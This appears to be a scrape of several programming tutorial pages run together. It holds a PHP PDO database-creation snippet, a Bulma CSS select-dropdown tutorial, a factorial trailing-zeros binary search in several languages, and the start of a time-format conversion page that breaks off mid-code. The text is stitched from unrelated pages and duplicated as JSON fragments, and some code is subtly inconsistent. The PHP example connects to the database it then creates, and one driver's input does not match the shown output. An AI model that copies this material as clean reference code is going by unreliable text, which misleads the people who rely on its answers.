"<?php\n$servername = \"localhost\";\n$username = \"username\";\n$password = \"password\";\n\ntry {\n $conn = new PDO(\"mysql:host=$servername;dbname=newDB\", $username, $password);\n // setting the PDO error mode to exception\n $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n $sql = \"CREATE DATABASE newDB\";\n // using exec() because no results are returned\n $conn->exec($sql);\n echo \"Database created successfully with the name newDB\";\n }\ncatch(PDOException $e)\n {\n echo $sql . \"\" . $e->getMessage();\n }\n$conn = null;\n?>\n" }, { "code": null, "e": 32699, "s": 32468, "text": "Note:The exception class in PDO is used to handle any problems that may occur in our database queries. If an exception is thrown within the try{ } block, the script stops executing and flows directly to the first catch(){ } block." }, { "code": null, "e": 32707, "s": 32699, "text": "Output:" }, { "code": null, "e": 32713, "s": 32707, "text": "mysql" }, { "code": null, "e": 32717, "s": 32713, "text": "PHP" }, { "code": null, "e": 32721, "s": 32717, "text": "SQL" }, { "code": null, "e": 32740, "s": 32721, "text": "Technical Scripter" }, { "code": null, "e": 32757, "s": 32740, "text": "Web Technologies" }, { "code": null, "e": 32761, "s": 32757, "text": "SQL" }, { "code": null, "e": 32765, "s": 32761, "text": "PHP" }, { "code": null, "e": 32863, "s": 32765, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 32913, "s": 32863, "text": "How to Insert Form Data into Database using PHP ?" }, { "code": null, "e": 32953, "s": 32913, "text": "How to convert array to string in PHP ?" }, { "code": null, "e": 33014, "s": 32953, "text": "How to Upload Image into Database and Display it using PHP ?" }, { "code": null, "e": 33064, "s": 33014, "text": "How to check whether an array is empty using PHP?" }, { "code": null, "e": 33109, "s": 33064, "text": "PHP | Converting string to Date and DateTime" }, { "code": null, "e": 33127, "s": 33109, "text": "SQL | WITH clause" }, { "code": null, "e": 33169, "s": 33127, "text": "SQL | DDL, DQL, DML, DCL and TCL Commands" }, { "code": null, "e": 33213, "s": 33169, "text": "How to find Nth highest salary from a table" }, { "code": null, "e": 33234, "s": 33213, "text": "SQL | ALTER (RENAME)" } ]
Bulma | Select - GeeksforGeeks
27 Jul, 2020 Bulma is a free, open-source CSS framework based on Flexbox. It is component rich, compatible, and well documented. It is highly responsive in nature. It uses classes to carry out its design.The ‘select’ component of a form is not that attractive in look. Using Bulma we can design select elements of the form in a far better way just by adding some simple Bulma classes. Bulma select elements are available in different colors, different styles, different sizes, and different states. Example 1: This examples shows simple Bulma dropdown list. <html> <head> <title>Bulma Select</title> <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.css'> <!-- custom css --> <style> div.columns{ margin-top: 80px; } </style> </head> <body> <div class='container'> <div class='columns is-mobile is-centered'> <div class='column is-5'> <div class="select"> <select> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> <option> Take pictures of beautiful flowers </option> </select> </div> </div> </div> </body></html> Output: Example 2: This example shows select dropdown of different colors. `<html> <head> <title>Bulma Select</title> <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.css'> <!-- custom css --> <style> div.columns{ margin-top: 80px; } div.select{ margin-bottom :3px; } </style> </head> <body> <div class='container'> <div class='columns is-mobile is-centered'> <div class='column is-5'> <div class="select is-primary"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class="select is-link"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class="select is-info"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class="select is-success"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class="select is-warning"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> </div> <div class='column is-5'> <div class="select is-danger"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> </div> </div> </body></html> Output: Example 3: This example shows the “scrollable” or “multiple select dropdown”. <html> <head> <title>Bulma Select</title> <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.css'> <!-- custom css --> <style> div.columns{ margin-top: 80px; } div.select{ margin-bottom :3px; } </style> </head> <body> <div class='container'> <div class='columns is-mobile is-centered'> <div class='column is-5'> <div class="select is-multiple"> <select multiple size='6'> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> <option> Take pictures of beautiful flowers </option> <option> Ride to a horse and write your experience </option> <option> Watch movie 'Godfather' at night </option> <option>Go for a trip with bike</option> <option>Buy a sumsung headset</option> </select> </div> </div> </div> </div> </body></html> Output: Example 4: This example shows select dropdown of different sizes. <html> <head> <title>Bulma Select</title> <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.css'> <!-- custom css --> <style> div.columns{ margin-top: 80px; } div.select{ margin-bottom :3px; } </style> </head> <body> <div class='container'> <div class='columns is-mobile is-centered'> <div class='column is-5'> <div class="select is-small"> <select> <option>Todos(Small)</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class="select"> <select> <option>Todos(Normal)</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class="select is-medium"> <select> <option>Todos(Medium)</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class="select is-large"> <select> <option>Todos(Large)</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> </div> </div> </div> </body></html> Output: Example 5: This example shows rounded select dropdown. <html> <head> <title>Bulma Select</title> <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.css'> <!-- custom css --> <style> div.columns{ margin-top: 80px; } div.select{ margin-bottom :3px; } </style> </head> <body> <div class='container'> <div class='columns is-mobile is-centered'> <div class='column is-5'> <div class="select is-rounded is-primary"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class="select is-rounded is-link"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class="select is-rounded is-info"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class="select is-rounded is-success"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class="select is-rounded is-warning"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class="select is-rounded is-danger"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> </div> </div> </div> </body></html> Output: Example 6: This example shows select dropdown with “font-awesome” icons. <html> <head> <title>Bulma Select</title> <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.css'> <!-- custom css --> <style> div.columns{ margin-top: 80px; } div.select{ margin-bottom :3px; } </style> </head> <body> <!-- font-awesome cdn --> <script src='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.12.0-2/js/all.min.js'> </script> <div class='container'> <div class='columns is-mobile is-centered'> <div class='column is-5'> <div class="control has-icons-left"> <div class="select"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> <option> Take pictures of beautiful flowers </option> </select> </div> <div class="icon is-small is-left"> <i class="fas fa-th-list"></i> </div> </div> </div> </div> </div> </body></html> Output: Bulma CSS Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Top 10 Projects For Beginners To Practice HTML and CSS Skills How to insert spaces/tabs in text using HTML/CSS? How to update Node.js and NPM to next version ? How to create footer to stay at the bottom of a Web page? How to apply style to parent if it has child with CSS? Remove elements from a JavaScript Array Installation of Node.js on Linux Convert a string to an integer in JavaScript How to fetch data from an API in ReactJS ? Top 10 Projects For Beginners To Practice HTML and CSS Skills
[ { "code": null, "e": 27353, "s": 27325, "text": "\n27 Jul, 2020" }, { "code": null, "e": 27839, "s": 27353, "text": "Bulma is a free, open-source CSS framework based on Flexbox. It is component rich, compatible, and well documented. It is highly responsive in nature. It uses classes to carry out its design.The ‘select’ component of a form is not that attractive in look. Using Bulma we can design select elements of the form in a far better way just by adding some simple Bulma classes. Bulma select elements are available in different colors, different styles, different sizes, and different states." }, { "code": null, "e": 27898, "s": 27839, "text": "Example 1: This examples shows simple Bulma dropdown list." }, { "code": "<html> <head> <title>Bulma Select</title> <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.css'> <!-- custom css --> <style> div.columns{ margin-top: 80px; } </style> </head> <body> <div class='container'> <div class='columns is-mobile is-centered'> <div class='column is-5'> <div class=\"select\"> <select> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> <option> Take pictures of beautiful flowers </option> </select> </div> </div> </div> </body></html>", "e": 28771, "s": 27898, "text": null }, { "code": null, "e": 28779, "s": 28771, "text": "Output:" }, { "code": null, "e": 28846, "s": 28779, "text": "Example 2: This example shows select dropdown of different colors." }, { "code": "`<html> <head> <title>Bulma Select</title> <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.css'> <!-- custom css --> <style> div.columns{ margin-top: 80px; } div.select{ margin-bottom :3px; } </style> </head> <body> <div class='container'> <div class='columns is-mobile is-centered'> <div class='column is-5'> <div class=\"select is-primary\"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class=\"select is-link\"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class=\"select is-info\"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class=\"select is-success\"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class=\"select is-warning\"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> </div> <div class='column is-5'> <div class=\"select is-danger\"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> </div> </div> </body></html>", "e": 31707, "s": 28846, "text": null }, { "code": null, "e": 31715, "s": 31707, "text": "Output:" }, { "code": null, "e": 31793, "s": 31715, "text": "Example 3: This example shows the “scrollable” or “multiple select dropdown”." }, { "code": "<html> <head> <title>Bulma Select</title> <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.css'> <!-- custom css --> <style> div.columns{ margin-top: 80px; } div.select{ margin-bottom :3px; } </style> </head> <body> <div class='container'> <div class='columns is-mobile is-centered'> <div class='column is-5'> <div class=\"select is-multiple\"> <select multiple size='6'> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> <option> Take pictures of beautiful flowers </option> <option> Ride to a horse and write your experience </option> <option> Watch movie 'Godfather' at night </option> <option>Go for a trip with bike</option> <option>Buy a sumsung headset</option> </select> </div> </div> </div> </div> </body></html>", "e": 33115, "s": 31793, "text": null }, { "code": null, "e": 33123, "s": 33115, "text": "Output:" }, { "code": null, "e": 33189, "s": 33123, "text": "Example 4: This example shows select dropdown of different sizes." }, { "code": "<html> <head> <title>Bulma Select</title> <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.css'> <!-- custom css --> <style> div.columns{ margin-top: 80px; } div.select{ margin-bottom :3px; } </style> </head> <body> <div class='container'> <div class='columns is-mobile is-centered'> <div class='column is-5'> <div class=\"select is-small\"> <select> <option>Todos(Small)</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class=\"select\"> <select> <option>Todos(Normal)</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class=\"select is-medium\"> <select> <option>Todos(Medium)</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class=\"select is-large\"> <select> <option>Todos(Large)</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> </div> </div> </div> </body></html>", "e": 35339, "s": 33189, "text": null }, { "code": null, "e": 35347, "s": 35339, "text": "Output:" }, { "code": null, "e": 35402, "s": 35347, "text": "Example 5: This example shows rounded select dropdown." }, { "code": "<html> <head> <title>Bulma Select</title> <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.css'> <!-- custom css --> <style> div.columns{ margin-top: 80px; } div.select{ margin-bottom :3px; } </style> </head> <body> <div class='container'> <div class='columns is-mobile is-centered'> <div class='column is-5'> <div class=\"select is-rounded is-primary\"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class=\"select is-rounded is-link\"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class=\"select is-rounded is-info\"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class=\"select is-rounded is-success\"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class=\"select is-rounded is-warning\"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> <div class=\"select is-rounded is-danger\"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> </select> </div> </div> </div> </div> </body></html>", "e": 38330, "s": 35402, "text": null }, { "code": null, "e": 38338, "s": 38330, "text": "Output:" }, { "code": null, "e": 38411, "s": 38338, "text": "Example 6: This example shows select dropdown with “font-awesome” icons." }, { "code": "<html> <head> <title>Bulma Select</title> <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.css'> <!-- custom css --> <style> div.columns{ margin-top: 80px; } div.select{ margin-bottom :3px; } </style> </head> <body> <!-- font-awesome cdn --> <script src='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.12.0-2/js/all.min.js'> </script> <div class='container'> <div class='columns is-mobile is-centered'> <div class='column is-5'> <div class=\"control has-icons-left\"> <div class=\"select\"> <select> <option>Todos</option> <option> Design a custom database to store your daily activity </option> <option> Start your E-commerce project to build </option> <option> Take pictures of beautiful flowers </option> </select> </div> <div class=\"icon is-small is-left\"> <i class=\"fas fa-th-list\"></i> </div> </div> </div> </div> </div> </body></html>", "e": 39693, "s": 38411, "text": null }, { "code": null, "e": 39701, "s": 39693, "text": "Output:" }, { "code": null, "e": 39707, "s": 39701, "text": "Bulma" }, { "code": null, "e": 39711, "s": 39707, "text": "CSS" }, { "code": null, "e": 39728, "s": 39711, "text": "Web Technologies" }, { "code": null, "e": 39826, "s": 39728, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 39888, "s": 39826, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 39938, "s": 39888, "text": "How to insert spaces/tabs in text using HTML/CSS?" }, { "code": null, "e": 39986, "s": 39938, "text": "How to update Node.js and NPM to next version ?" }, { "code": null, "e": 40044, "s": 39986, "text": "How to create footer to stay at the bottom of a Web page?" }, { "code": null, "e": 40099, "s": 40044, "text": "How to apply style to parent if it has child with CSS?" }, { "code": null, "e": 40139, "s": 40099, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 40172, "s": 40139, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 40217, "s": 40172, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 40260, "s": 40217, "text": "How to fetch data from an API in ReactJS ?" } ]
Numbers whose factorials end with n zeros - GeeksforGeeks
22 Apr, 2021 Given an integer n, we need to find the number of positive integers whose factorial ends with n zeros.Examples: Input : n = 1 Output : 5 6 7 8 9 Explanation: Here, 5! = 120, 6! = 720, 7! = 5040, 8! = 40320 and 9! = 362880. Input : n = 2 Output : 10 11 12 13 14 Prerequisite : Trailing zeros in factorial.Naive approach:We can just iterate through the range of integers and find the number of trailing zeros of all the numbers and print the numbers with n trailing zeros.Efficient Approach:In this approach we use binary search. Use binary search for all the numbers in the range and get the first number with n trailing zeros. Find all the numbers with m trailing zeros after that number. C++ Java Python3 C# PHP Javascript // Binary search based CPP program to find// numbers with n trailing zeros.#include <bits/stdc++.h>using namespace std; // Function to calculate trailing zerosint trailingZeroes(int n){ int cnt = 0; while (n > 0) { n /= 5; cnt += n; } return cnt;} void binarySearch(int n){ int low = 0; int high = 1e6; // range of numbers // binary search for first number with // n trailing zeros while (low < high) { int mid = (low + high) / 2; int count = trailingZeroes(mid); if (count < n) low = mid + 1; else high = mid; } // Print all numbers after low with n // trailing zeros. vector<int> result; while (trailingZeroes(low) == n) { result.push_back(low); low++; } // Print result for (int i = 0; i < result.size(); i++) cout << result[i] << " ";} // Driver codeint main(){ int n = 2; binarySearch(n); return 0;} // Binary search based Java// program to find numbers// with n trailing zeros.import java.io.*; class GFG { // Function to calculate // trailing zeros static int trailingZeroes(int n) { int cnt = 0; while (n > 0) { n /= 5; cnt += n; } return cnt; } static void binarySearch(int n) { int low = 0; // range of numbers int high = 1000000; // binary search for first number // with n trailing zeros while (low < high) { int mid = (low + high) / 2; int count = trailingZeroes(mid); if (count < n) low = mid + 1; else high = mid; } // Print all numbers after low // with n trailing zeros. int result[] = new int[1000]; int k = 0; while (trailingZeroes(low) == n) { result[k] = low; k++; low++; } // Print result for (int i = 0; i < k; i++) System.out.print(result[i] + " "); } // Driver code public static void main(String args[]) { int n = 3; binarySearch(n); }} // This code is contributed// by Nikita Tiwari. # Binary search based Python3 code to find# numbers with n trailing zeros. # Function to calculate trailing zerosdef trailingZeroes( n ): cnt = 0 while n > 0: n =int(n/5) cnt += n return cnt def binarySearch( n ): low = 0 high = 1e6 # range of numbers # binary search for first number with # n trailing zeros while low < high: mid = int((low + high) / 2) count = trailingZeroes(mid) if count < n: low = mid + 1 else: high = mid # Print all numbers after low with n # trailing zeros. result = list() while trailingZeroes(low) == n: result.append(low) low+=1 # Print result for i in range(len(result)): print(result[i],end=" ") # Driver coden = 2binarySearch(n) # This code is contributed by "Sharad_Bhardwaj". // Binary search based C#// program to find numbers// with n trailing zeros.using System; class GFG { // Function to calculate // trailing zeros static int trailingZeroes(int n) { int cnt = 0; while (n > 0) { n /= 5; cnt += n; } return cnt; } static void binarySearch(int n) { int low = 0; // range of numbers int high = 1000000; // binary search for first number // with n trailing zeros while (low < high) { int mid = (low + high) / 2; int count = trailingZeroes(mid); if (count < n) low = mid + 1; else high = mid; } // Print all numbers after low // with n trailing zeros. int []result = new int[1000]; int k = 0; while (trailingZeroes(low) == n) { result[k] = low; k++; low++; } // Print result for (int i = 0; i < k; i++) Console.Write(result[i] + " "); } // Driver code public static void Main() { int n = 2; binarySearch(n); }} // This code is contributed by vt_m. <?php// Binary search based PHP program to// find numbers with n trailing zeros. // Function to calculate trailing zerosfunction trailingZeroes($n){ $cnt = 0; while ($n > 0) { $n = intval($n / 5); $cnt += $n; } return $cnt;} function binarySearch($n){ $low = 0; $high = 1e6; // range of numbers // binary search for first number // with n trailing zeros while ($low < $high) { $mid = intval(($low + $high) / 2); $count = trailingZeroes($mid); if ($count < $n) $low = $mid + 1; else $high = $mid; } // Print all numbers after low with n // trailing zeros. $result = array(); while (trailingZeroes($low) == $n) { array_push($result, $low); $low++; } // Print result for ($i = 0; $i < sizeof($result); $i++) echo $result[$i] . " ";} // Driver code$n = 2;binarySearch($n); // This code is contributed by Ita_c?> <script> // Binary search based JavaScript program to find// numbers with n trailing zeros. // Function to calculate trailing zerosfunction trailingZeroes(n){ var cnt = 0; while (n > 0) { n = parseInt(n/5); cnt += n; } return cnt;} function binarySearch(n){ var low = 0; var high = 1e6; // range of numbers // binary search for first number with // n trailing zeros while (low < high) { var mid = parseInt((low + high) / 2); var count = trailingZeroes(mid); if (count < n) low = mid + 1; else high = mid; } // Print all numbers after low with n // trailing zeros. var result = []; while (trailingZeroes(low) == n) { result.push(low); low++; } // Print result for (var i = 0; i < result.length; i++) document.write( result[i] + " ");} // Driver codevar n = 2;binarySearch(n); </script> Output: 10 11 12 13 14 ukasp rutvik_56 Binary Search factorial number-theory Divide and Conquer number-theory Divide and Conquer factorial Binary Search Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Program for Tower of Hanoi Divide and Conquer Algorithm | Introduction Median of two sorted arrays of different sizes Count number of occurrences (or frequency) in a sorted array Divide and Conquer | Set 5 (Strassen's Matrix Multiplication) Quick Sort vs Merge Sort Closest Pair of Points using Divide and Conquer algorithm Find a peak element Maximum Subarray Sum using Divide and Conquer algorithm Complexity Analysis of Binary Search
[ { "code": null, "e": 25903, "s": 25875, "text": "\n22 Apr, 2021" }, { "code": null, "e": 26017, "s": 25903, "text": "Given an integer n, we need to find the number of positive integers whose factorial ends with n zeros.Examples: " }, { "code": null, "e": 26179, "s": 26017, "text": "Input : n = 1\nOutput : 5 6 7 8 9\nExplanation: Here, 5! = 120, 6! = 720,\n7! = 5040, 8! = 40320 and 9! = 362880.\n\nInput : n = 2\nOutput : 10 11 12 13 14 \n " }, { "code": null, "e": 26610, "s": 26181, "text": "Prerequisite : Trailing zeros in factorial.Naive approach:We can just iterate through the range of integers and find the number of trailing zeros of all the numbers and print the numbers with n trailing zeros.Efficient Approach:In this approach we use binary search. Use binary search for all the numbers in the range and get the first number with n trailing zeros. Find all the numbers with m trailing zeros after that number. " }, { "code": null, "e": 26614, "s": 26610, "text": "C++" }, { "code": null, "e": 26619, "s": 26614, "text": "Java" }, { "code": null, "e": 26627, "s": 26619, "text": "Python3" }, { "code": null, "e": 26630, "s": 26627, "text": "C#" }, { "code": null, "e": 26634, "s": 26630, "text": "PHP" }, { "code": null, "e": 26645, "s": 26634, "text": "Javascript" }, { "code": "// Binary search based CPP program to find// numbers with n trailing zeros.#include <bits/stdc++.h>using namespace std; // Function to calculate trailing zerosint trailingZeroes(int n){ int cnt = 0; while (n > 0) { n /= 5; cnt += n; } return cnt;} void binarySearch(int n){ int low = 0; int high = 1e6; // range of numbers // binary search for first number with // n trailing zeros while (low < high) { int mid = (low + high) / 2; int count = trailingZeroes(mid); if (count < n) low = mid + 1; else high = mid; } // Print all numbers after low with n // trailing zeros. vector<int> result; while (trailingZeroes(low) == n) { result.push_back(low); low++; } // Print result for (int i = 0; i < result.size(); i++) cout << result[i] << \" \";} // Driver codeint main(){ int n = 2; binarySearch(n); return 0;}", "e": 27598, "s": 26645, "text": null }, { "code": "// Binary search based Java// program to find numbers// with n trailing zeros.import java.io.*; class GFG { // Function to calculate // trailing zeros static int trailingZeroes(int n) { int cnt = 0; while (n > 0) { n /= 5; cnt += n; } return cnt; } static void binarySearch(int n) { int low = 0; // range of numbers int high = 1000000; // binary search for first number // with n trailing zeros while (low < high) { int mid = (low + high) / 2; int count = trailingZeroes(mid); if (count < n) low = mid + 1; else high = mid; } // Print all numbers after low // with n trailing zeros. int result[] = new int[1000]; int k = 0; while (trailingZeroes(low) == n) { result[k] = low; k++; low++; } // Print result for (int i = 0; i < k; i++) System.out.print(result[i] + \" \"); } // Driver code public static void main(String args[]) { int n = 3; binarySearch(n); }} // This code is contributed// by Nikita Tiwari.", "e": 28849, "s": 27598, "text": null }, { "code": "# Binary search based Python3 code to find# numbers with n trailing zeros. # Function to calculate trailing zerosdef trailingZeroes( n ): cnt = 0 while n > 0: n =int(n/5) cnt += n return cnt def binarySearch( n ): low = 0 high = 1e6 # range of numbers # binary search for first number with # n trailing zeros while low < high: mid = int((low + high) / 2) count = trailingZeroes(mid) if count < n: low = mid + 1 else: high = mid # Print all numbers after low with n # trailing zeros. result = list() while trailingZeroes(low) == n: result.append(low) low+=1 # Print result for i in range(len(result)): print(result[i],end=\" \") # Driver coden = 2binarySearch(n) # This code is contributed by \"Sharad_Bhardwaj\".", "e": 29709, "s": 28849, "text": null }, { "code": "// Binary search based C#// program to find numbers// with n trailing zeros.using System; class GFG { // Function to calculate // trailing zeros static int trailingZeroes(int n) { int cnt = 0; while (n > 0) { n /= 5; cnt += n; } return cnt; } static void binarySearch(int n) { int low = 0; // range of numbers int high = 1000000; // binary search for first number // with n trailing zeros while (low < high) { int mid = (low + high) / 2; int count = trailingZeroes(mid); if (count < n) low = mid + 1; else high = mid; } // Print all numbers after low // with n trailing zeros. int []result = new int[1000]; int k = 0; while (trailingZeroes(low) == n) { result[k] = low; k++; low++; } // Print result for (int i = 0; i < k; i++) Console.Write(result[i] + \" \"); } // Driver code public static void Main() { int n = 2; binarySearch(n); }} // This code is contributed by vt_m.", "e": 30967, "s": 29709, "text": null }, { "code": "<?php// Binary search based PHP program to// find numbers with n trailing zeros. // Function to calculate trailing zerosfunction trailingZeroes($n){ $cnt = 0; while ($n > 0) { $n = intval($n / 5); $cnt += $n; } return $cnt;} function binarySearch($n){ $low = 0; $high = 1e6; // range of numbers // binary search for first number // with n trailing zeros while ($low < $high) { $mid = intval(($low + $high) / 2); $count = trailingZeroes($mid); if ($count < $n) $low = $mid + 1; else $high = $mid; } // Print all numbers after low with n // trailing zeros. $result = array(); while (trailingZeroes($low) == $n) { array_push($result, $low); $low++; } // Print result for ($i = 0; $i < sizeof($result); $i++) echo $result[$i] . \" \";} // Driver code$n = 2;binarySearch($n); // This code is contributed by Ita_c?>", "e": 31931, "s": 30967, "text": null }, { "code": "<script> // Binary search based JavaScript program to find// numbers with n trailing zeros. // Function to calculate trailing zerosfunction trailingZeroes(n){ var cnt = 0; while (n > 0) { n = parseInt(n/5); cnt += n; } return cnt;} function binarySearch(n){ var low = 0; var high = 1e6; // range of numbers // binary search for first number with // n trailing zeros while (low < high) { var mid = parseInt((low + high) / 2); var count = trailingZeroes(mid); if (count < n) low = mid + 1; else high = mid; } // Print all numbers after low with n // trailing zeros. var result = []; while (trailingZeroes(low) == n) { result.push(low); low++; } // Print result for (var i = 0; i < result.length; i++) document.write( result[i] + \" \");} // Driver codevar n = 2;binarySearch(n); </script>", "e": 32856, "s": 31931, "text": null }, { "code": null, "e": 32865, "s": 32856, "text": "Output: " }, { "code": null, "e": 32881, "s": 32865, "text": "10 11 12 13 14 " }, { "code": null, "e": 32889, "s": 32883, "text": "ukasp" }, { "code": null, "e": 32899, "s": 32889, "text": "rutvik_56" }, { "code": null, "e": 32913, "s": 32899, "text": "Binary Search" }, { "code": null, "e": 32923, "s": 32913, "text": "factorial" }, { "code": null, "e": 32937, "s": 32923, "text": "number-theory" }, { "code": null, "e": 32956, "s": 32937, "text": "Divide and Conquer" }, { "code": null, "e": 32970, "s": 32956, "text": "number-theory" }, { "code": null, "e": 32989, "s": 32970, "text": "Divide and Conquer" }, { "code": null, "e": 32999, "s": 32989, "text": "factorial" }, { "code": null, "e": 33013, "s": 32999, "text": "Binary Search" }, { "code": null, "e": 33111, "s": 33013, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 33138, "s": 33111, "text": "Program for Tower of Hanoi" }, { "code": null, "e": 33182, "s": 33138, "text": "Divide and Conquer Algorithm | Introduction" }, { "code": null, "e": 33229, "s": 33182, "text": "Median of two sorted arrays of different sizes" }, { "code": null, "e": 33290, "s": 33229, "text": "Count number of occurrences (or frequency) in a sorted array" }, { "code": null, "e": 33352, "s": 33290, "text": "Divide and Conquer | Set 5 (Strassen's Matrix Multiplication)" }, { "code": null, "e": 33377, "s": 33352, "text": "Quick Sort vs Merge Sort" }, { "code": null, "e": 33435, "s": 33377, "text": "Closest Pair of Points using Divide and Conquer algorithm" }, { "code": null, "e": 33455, "s": 33435, "text": "Find a peak element" }, { "code": null, "e": 33511, "s": 33455, "text": "Maximum Subarray Sum using Divide and Conquer algorithm" } ]
Convert time from 24 hour clock to 12 hour clock format - GeeksforGeeks
03 May, 2021 Given a time in a 24-hour clock (military time), convert it to 12-hour clock format.Note: Midnight is 00:00:00 on a 24-hour clock and 12:00:00 AM on a 12-hour clock. Noon is 12:00:00 on 24-hour clock and 12:00:00 PM on 12-hour clock.A string will be given of the format hh:mm:ss and output should be in the format hh:mm:ss AM or hh:mm:ss PM in 12hour clock. Here hh represents hour, mm represents minutes and ss represents seconds.Examples: Input : 17:35:20 Output : 5:35:20 PM Input : 00:10:24 Output : 12:10:24 AM The approach to solving this problem requires some observations. First that the minutes and seconds will be same in both the cases. The only change will be in the hours and according to that Meridien will be appended to the string.For hours, first convert it from string to int datatype, then take its modulo with 12 and that will be our hours in 12-hour format. Still, there will be a case when hour becomes 00 i.e (12 or 00 in 24-hour format) which we need to handle separately.Below is the implementation of above approach: C++ Java Python3 C# PHP Javascript // CPP program to convert time from 24 hour// to 12 hour format #include <bits/stdc++.h> using namespace std; // Convert Function which takes in// 24hour time and convert it to// 12 hour formatvoid convert12(string str){ // Get Hours int h1 = (int)str[0] - '0'; int h2 = (int)str[1] - '0'; int hh = h1 * 10 + h2; // Finding out the Meridien of time // ie. AM or PM string Meridien; if (hh < 12) { Meridien = "AM"; } else Meridien = "PM"; hh %= 12; // Handle 00 and 12 case separately if (hh == 0) { cout << "12"; // Printing minutes and seconds for (int i = 2; i < 8; ++i) { cout << str[i]; } } else { cout << hh; // 